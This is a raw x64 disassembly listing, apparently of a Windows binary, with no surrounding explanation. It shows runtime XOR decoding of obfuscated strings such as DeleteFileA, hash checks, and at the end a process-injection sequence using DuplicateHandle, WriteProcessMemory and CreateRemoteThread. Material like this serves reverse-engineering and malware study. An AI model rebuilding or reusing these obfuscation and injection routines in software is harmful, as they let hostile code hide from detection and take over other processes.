xor dl, dil
add eax, r14d
cmp eax, 8
jb 0x140049dfb
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor r14b, r14b
xor r10d, r10d
lea r12, [r8*8]
xor r11d, r11d
mov rbx, rsi
lea r13d, [r10 + 1]
mov eax, r10d
test r10d, r10d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r12
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rsi, rax
xor rsi, rbx
mov qword [rsp + 0x70], rsi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor r14b, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x140049e29
movzx eax, dil
imul rcx, rax, 0xff
not rcx
mov rax, r15
shl rax, 7
sub rcx, rax
and r9, rdx
xor rcx, r9
mov qword [rbp + 0x330], rcx
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x310]
call fcn.14000a2a0
nop
mov rcx, qword [rsp + 0x58]
call fcn.1400099b4
nop
cmp byte [0x1406a3911], 0
movabs r13, 0xfae9e8d7c6b5a493
mov r12d, 1
jne 0x140049f0f
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3911], r12b
lea rdx, str.DeleteFileA
lea rcx, [rbp + 0x1d0]
call fcn.14002b89c
nop
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.14002b864
mov r15, qword [rbp + 0x240]
lea rdi, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdi, qword [rbp + 0x230]
cmp byte [0x1406a2b50], 0
jne 0x14004a13a
xor esi, esi
lea r14, [0x140000000]
movabs r13, 0x101010101010101
lea rcx, [rsp + 0x58]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r12
xor rax, 0x10
shl rax, 0xa
or rax, r13
mov qword [rsi + r14 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r12
xor rax, 0x20
shl rax, 0xb
or rax, r13
mov qword [rsi + r14 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x58], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r12
xor rax, 0x40
shl rax, 0xc
or rax, r13
mov qword [rsi + r14 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x140049f70
lea rcx, [rsp + 0x70]
call fcn.140063754
xor ebx, ebx
lea rsi, [0x1406a2ce0]
movabs r13, 0xfae9e8d7c6b5a493
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004a085
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, qword [rsp + 0x70]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r12d
add rsi, r12
cmp ebx, 4
jb 0x14004a06f
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2ce8]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004a0ce
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 8
jb 0x14004a0b8
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004a116
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x14004a100
mov byte [0x1406a2b50], r12b
test r15, r15
je 0x14004a214
xor ebx, ebx
test r15, r15
je 0x14004a214
lea rsi, [0x140000000]
xor r8d, r8d
mov dl, byte [rdi]
lea r9, [0x1406a2ce0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x14004a167
add r8d, r12d
add r9, r12
cmp r8d, 4
jb 0x14004a161
xor r8d, r8d
lea r11, [0x1406a2ce8]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r9d, r12d
add r10, r12
cmp r9d, 8
jb 0x14004a1a0
add r8d, r12d
add r11, r12
cmp r8d, 8
jb 0x14004a19a
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x14004a1d9
add r8d, r12d
add r9, r12
cmp r8d, 0xc
jb 0x14004a1d3
add ebx, r12d
add rdi, r12
movsxd rax, ebx
cmp rax, r15
jb 0x14004a155
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x1f0]
call fcn.14002b864
mov qword [rsp + 0x58], rax
mov r8, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14004a23d
mov rdx, qword [rax]
cmp byte [0x1406a2d01], 0
jne 0x14004a289
movabs r9, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rdi, [0x1406a3908]
mov ebx, 0xffffffff
movabs r10, 0xababdbf33353735b
mov rax, r9
xor rax, r10
mov qword [rcx], rax
sub r9, rbx
add rcx, 8
cmp rcx, rdi
jl 0x14004a26d
mov byte [0x1406a2d01], r12b
lea rdi, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
test r8, r8
je 0x14004a2dd
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r12d
add rax, r12
cmp r9d, 8
jb 0x14004a2ae
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rdi + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r12d
add r10, r12
movsxd rax, r11d
cmp rax, r8
jb 0x14004a2a3
movabs rsi, 0xaebdccdb0a192837
movzx r15d, byte [rdx]
cmp r8, r12
jbe 0x14004a2f7
mov dil, byte [r8 + rdx - 1]
jmp 0x14004a2fa
mov dil, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r15b
xor dl, dil
add eax, r12d
cmp eax, 8
jb 0x14004a30c
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor r14b, r14b
xor r10d, r10d
lea r12, [r8*8]
xor r11d, r11d
mov rbx, rsi
lea r13d, [r10 + 1]
mov eax, r10d
test r10d, r10d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r12
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rsi, rax
xor rsi, rbx
mov qword [rsp + 0x70], rsi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor r14b, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x14004a33a
movzx eax, dil
imul rcx, rax, 0xff
not rcx
mov rax, r15
shl rax, 7
sub rcx, rax
and r9, rdx
xor rcx, r9
mov qword [rbp + 0x330], rcx
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x310]
call fcn.14000a2a0
nop
mov rcx, qword [rsp + 0x58]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x230]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x1d0]
call fcn.1400099b4
nop
lea rdx, [rbp + 0x310]
cmp qword [rbp + 0x328], 0x10
cmovae rdx, qword [rbp + 0x310]
mov qword [rsp + 0x58], rdx
cmp byte [0x1406a2d01], 0
movabs r13, 0xfae9e8d7c6b5a493
jne 0x14004a48b
lea rcx, [0x1406a3110]
movabs r8, 0xfeeddccbbaa99887
lea rbx, [0x1406a3908]
mov edx, 0xffffffff
movabs r9, 0xababdbf33353735b
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, rdx
add rcx, 8
cmp rcx, rbx
jl 0x14004a462
mov r12d, 1
mov byte [0x1406a2d01], r12b
mov rdx, qword [rsp + 0x58]
jmp 0x14004a491
mov r12d, 1
lea rbx, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r8, qword [rbp + 0x320]
test r8, r8
je 0x14004a4f8
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r12d
add rax, r12
cmp r9d, 8
jb 0x14004a4ba
not cl
movzx eax, cl
mov rdx, qword [rsp + 0x50]
xor rdx, qword [rbx + rax*8]
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x50], rdx
add r11d, r12d
add r10, r12
movsxd rax, r11d
cmp rax, r8
jb 0x14004a4af
mov rdx, qword [rsp + 0x58]
mov r13, qword [rsp + 0x70]
movabs r15, 0xaebdccdb0a192837
mov r11, r15
movzx edi, byte [rdx]
cmp r8, r12
jbe 0x14004a514
mov r14b, byte [r8 + rdx - 1]
jmp 0x14004a517
mov r14b, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, dil
xor dl, r14b
add eax, r12d
cmp eax, 8
jb 0x14004a529
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor bl, bl
xor r9d, r9d
lea rsi, [r8*8]
xor r10d, r10d
mov eax, r9d
test r9d, r9d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor r11, rax
xor r11, r15
mov qword [rsp + 0x70], r11
mov al, byte [rsp + r10 + 0x70]
xor byte [rsp + r10 + 0x50], al
lea eax, [r9*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor bl, r12b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r9d, r12d
add r10, r12
cmp r9d, 8
jb 0x14004a54f
movzx eax, r14b
imul r8, rax, 0xff
not r8
mov rax, rdi
shl rax, 7
sub r8, rax
and r13, rdx
xor r8, r13
mov rdx, qword [rbp + 0x330]
cmp r8, rdx
je 0x14004a60b
mov rbx, qword [0x1406a3908]
lea rcx, [rbp - 0x28]
call fcn.14002d4ec
lea rdx, [rbp + 0x310]
mov rcx, rax
call rbx
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x210]
call fcn.14002b864
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1b0]
call fcn.14002b864
mov r15, qword [rbp + 0x1c0]
lea rdi, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdi, qword [rbp + 0x1b0]
mov qword [rsp + 0x70], rdi
xor r13d, r13d
cmp byte [0x1406a2b50], r13b
jne 0x14004a841
mov esi, r13d
lea r14, [0x140000000]
movabs rdi, 0x101010101010101
lea rcx, [rsp + 0x58]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r12
xor rax, 0x10
shl rax, 0xa
or rax, rdi
mov qword [rsi + r14 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r12
xor rax, 0x20
shl rax, 0xb
or rax, rdi
mov qword [rsi + r14 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x58], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r12
xor rax, 0x40
shl rax, 0xc
or rax, rdi
mov qword [rsi + r14 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x14004a679
lea rcx, [rsp + 0x58]
call fcn.140063754
mov ebx, r13d
lea rsi, [0x1406a2ce0]
mov rdi, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004a78a
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r12d
add rsi, r12
cmp ebx, 4
jb 0x14004a774
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
mov esi, r13d
lea r14, [0x1406a2ce8]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004a7d4
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 8
jb 0x14004a7be
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
mov esi, r13d
lea r14, [0x1406a2cf0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004a81d
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x14004a807
mov byte [0x1406a2b50], r12b
test r15, r15
je 0x14004a913
mov ebx, r13d
lea rsi, [0x140000000]
mov r8d, r13d
mov dl, byte [rdi]
lea r9, [0x1406a2ce0]
mov r10d, r13d
mov r11, r13
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x14004a866
add r8d, r12d
add r9, r12
cmp r8d, 4
jb 0x14004a860
mov r8d, r13d
lea r9, [0x1406a2ce8]
mov r10d, r13d
mov r11, r13
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x14004a89f
add r8d, r12d
add r9, r12
cmp r8d, 8
jb 0x14004a899
mov r8d, r13d
lea r9, [0x1406a2cf0]
mov r10d, r13d
mov r11, r13
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x14004a8d8
add r8d, r12d
add r9, r12
cmp r8d, 0xc
jb 0x14004a8d2
add ebx, r12d
add rdi, r12
movsxd rax, ebx
cmp rax, r15
jb 0x14004a854
lea rcx, [rbp + 0x210]
call fcn.1400099b4
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp - 0x80]
call qword [0x14021d100]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x1b0]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x310]
call fcn.14002f208
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0xa0]
mov rbx, qword [rbp - 0x50]
mov r8, rbx
mov rdx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov r8d, 0x104
lea rdx, [rbp + 0xa8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x20], r13
mov r9d, pe_nt_image_headers64
lea r8, [0x140046214]
mov rdi, qword [rbp - 0x48]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x20], r13
mov r9d, 0x130
lea r8, [rbp + 0x80]
lea rsi, [rdi + 0x80]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp - 0x58], r13d
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rsi
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14004aa24
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r12d
jmp 0x140046480